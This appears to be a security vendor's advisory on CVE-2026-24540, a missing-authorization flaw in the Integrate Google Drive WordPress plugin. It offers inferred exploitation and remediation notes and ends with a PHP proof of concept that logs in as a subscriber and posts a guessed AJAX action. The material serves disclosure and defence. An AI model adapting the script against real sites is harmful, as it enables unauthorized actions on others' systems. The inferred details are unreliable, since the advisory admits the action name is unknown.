Atomic Edge analysis of CVE-2026-24540 (metadata-based): This vulnerability is a missing authorization flaw in the Integrate Google Drive WordPress plugin, affecting versions up to and including 1.5.6. The flaw allows any authenticated user, including those with subscriber-level permissions, to perform an unauthorized action. The CVSS score of 4.3 (Medium) reflects a network-accessible attack with low attack complexity and low impact on integrity.
CWE-862 indicates the root cause is a missing capability check on a function. Atomic Edge research infers this function is likely an AJAX handler or admin-post endpoint registered by the plugin. The vulnerability description confirms the absence of a check, but the specific function name and action hook are not available from the metadata. The plugin’s architecture likely uses `wp_ajax_{action}` hooks, where a callback function performs privileged operations without verifying the user’s capability.
Exploitation requires an attacker to possess a valid WordPress account. The attacker would send a crafted POST request to the standard WordPress AJAX endpoint, `/wp-admin/admin-ajax.php`. The `action` parameter would contain the specific hook suffix for the vulnerable function. Based on common plugin patterns, this action likely begins with the plugin slug, such as `integrate_google_drive_{operation}`. The request would include any required parameters for the unauthorized action, which the plugin processes due to the missing authorization check.
Remediation requires adding a proper capability check before executing the vulnerable function. The fix should implement a check using `current_user_can()`, typically verifying a capability like `manage_options` or a custom capability reserved for administrators. The patched code must also ensure nonce verification is present if the action originates from a user interface. Since no patched version is available, these measures are inferred as the necessary corrections.
The impact is an unauthorized action performed by low-privileged users. The exact action is unspecified, but CWE-862 in WordPress plugins often leads to data manipulation, settings changes, or information disclosure. The CVSS vector indicates a low impact on integrity (I:L), meaning the action likely modifies non-critical data or triggers a limited system change. Full site compromise or remote code execution is unlikely given the score.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24540 - Integrate Google Drive <= 1.5.6 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-24540.
* This script simulates an attack by an authenticated subscriber-level user.
* The exact AJAX action name is unknown; a common pattern is assumed.
* Replace TARGET_URL, USERNAME, PASSWORD, and ASSUMED_ACTION as needed.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';
// The vulnerable AJAX action hook is not public. This is a plausible example.
$assumed_action = 'integrate_google_drive_unauthorized_action';
// Initialize cURL session for WordPress login to obtain authentication cookies.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, str_replace('admin-ajax.php', 'wp-login.php', $target_url));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Now send the unauthorized AJAX request to the vulnerable endpoint.
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('action' => $assumed_action)));
$ajax_response = curl_exec($ch);
curl_close($ch);
echo "Response from vulnerable endpoint:n";
echo $ajax_response;
?>
